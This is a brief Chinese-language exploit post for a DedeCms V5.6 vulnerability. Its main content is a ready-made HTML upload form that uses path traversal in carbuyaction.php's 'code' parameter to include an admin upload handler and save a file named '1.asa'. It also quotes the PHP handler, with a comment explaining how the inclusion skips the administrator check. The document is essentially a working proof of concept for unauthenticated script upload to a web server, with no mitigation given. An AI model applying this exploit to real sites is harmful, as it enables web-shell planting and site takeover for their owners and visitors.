DedeCms V5.6 本地包含里的上传漏洞(可是那包含漏洞已经公布)

<form action=\”http://localhost:8090/plus/carbuyaction.php?dopost=return&action=xxx&code=../../include/dialog/select_soft_post\” method=\”post\” enctype=\”multipart/form-data\” name=\”QuickSearch\” id=\”QuickSearch\”> <input type=\”hidden\” name=\”newname\” value=\”1.asa\”> <input type=\”file\” name=\”uploadfile\”> <input type=\”submit\” value=\”搜索\” name=\”QuickSearchBtn\”> </form>

<?php if(!isset($cfg_basedir)) { include_once(dirname(__FILE__).\’/config.php\’); } //config.php 是用于验证是否管理员。由于本地包含， $cfg_basedir 已经设置了值，应该跳过了验证。 //文件名（前为手工指定， 后者自动处理） if(!empty($newname)) { $filename = $newname; if(!ereg(\”\\.\”, $filename)) $fs = explode(\’.\’, $uploadfile_name); else $fs = explode(\’.\’, $filename); if(eregi($cfg_not_allowall, $fs[count($fs)-1])) { ShowMsg(\”你指定的文件名被系统禁止！\”,\’javascript:;\’); exit(); } if(!ereg(\”\\.\”, $filename)) $filename = $filename.\’.\’.$fs[count($fs)-1]; }else{ $filename = $cuserLogin->getUserID().\’-\’.dd2char(MyDate(\’ymdHis\’,$nowtme)); $fs = explode(\’.\’, $uploadfile_name); if(eregi($cfg_not_allowall, $fs[count($fs)-1])) { ShowMsg(\”你上传了某些可能存在不安全因素的文件，系统拒绝操作！\”,\’javascript:;\’); exit(); } $filename = $filename.\’.\’.$fs[count($fs)-1]; }
